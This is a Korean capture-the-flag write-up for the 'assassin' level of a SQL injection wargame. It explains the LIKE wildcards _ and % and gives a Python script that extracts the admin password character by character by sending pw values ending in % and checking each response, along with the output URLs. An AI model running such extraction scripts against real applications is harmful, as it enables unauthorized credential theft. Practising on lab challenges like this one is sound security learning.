assassin

LIKE 절을 사용하고 있기 때문에 ”%” 문자를 사용하면 조회된 데이터 중 1번째 행 값을 가져오게 된다.
LIKE 절에서는 _ 문자 / % 문자 를 사용할 수 있으며 각각 아래의 의미를 갖는다.
_ → 글자숫자를 정해줌(EX 컬럼명 LIKE '홍_동')
% → 글자숫자를 정해주지않음(EX 컬럼명 LIKE '홍%')
아래 자동화 스크립트를 작성하여 `admin` 계정 패스워드 추출에 성공했다. ( 아래처럼 추출하면 admin 혹은 guest 계정의 패스워드가 추출되는데, 운이 좋게 admin 계정 패스워드가 guest 계정의 패스워드 보다 값이 작아서 먼저 발견되었다. `guest` 계정의 패스워드는 `90d...` 의 값이었다. ) ```python import requests import string
ALNUM = string.ascii_letters + string.digits # “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” TRAGET_URL = ‘https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php’ COOKIE = {‘PHPSESSID’ : ‘COOKIE_VALUE’} HEAD = ”
for i in range(8): for w in ALNUM: URL = TRAGET_URL + f”?pw={HEAD}{w}%” res = requests.get(URL, cookies=COOKIE) if “Hello admin” in res.text or “Hello guest” in res.text: HEAD = HEAD + w print(URL) '''실행 결과 https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=9% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=90% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902e% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902ef% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efD% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efD1% https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efD10% '''
<br>
추출된 패스워드는 `admin` 계정의 패스워드였다. (`902%` 만 입력해도 `$result['id']` 값으로 admin 이 조회되기는 한다. )
![[C9X8S7D6A5ST6WA9-dfasf789sdf89d0s7f890as78f9-20260115003154635.png]]
<br>
🐛.. 🐛.. 🐛..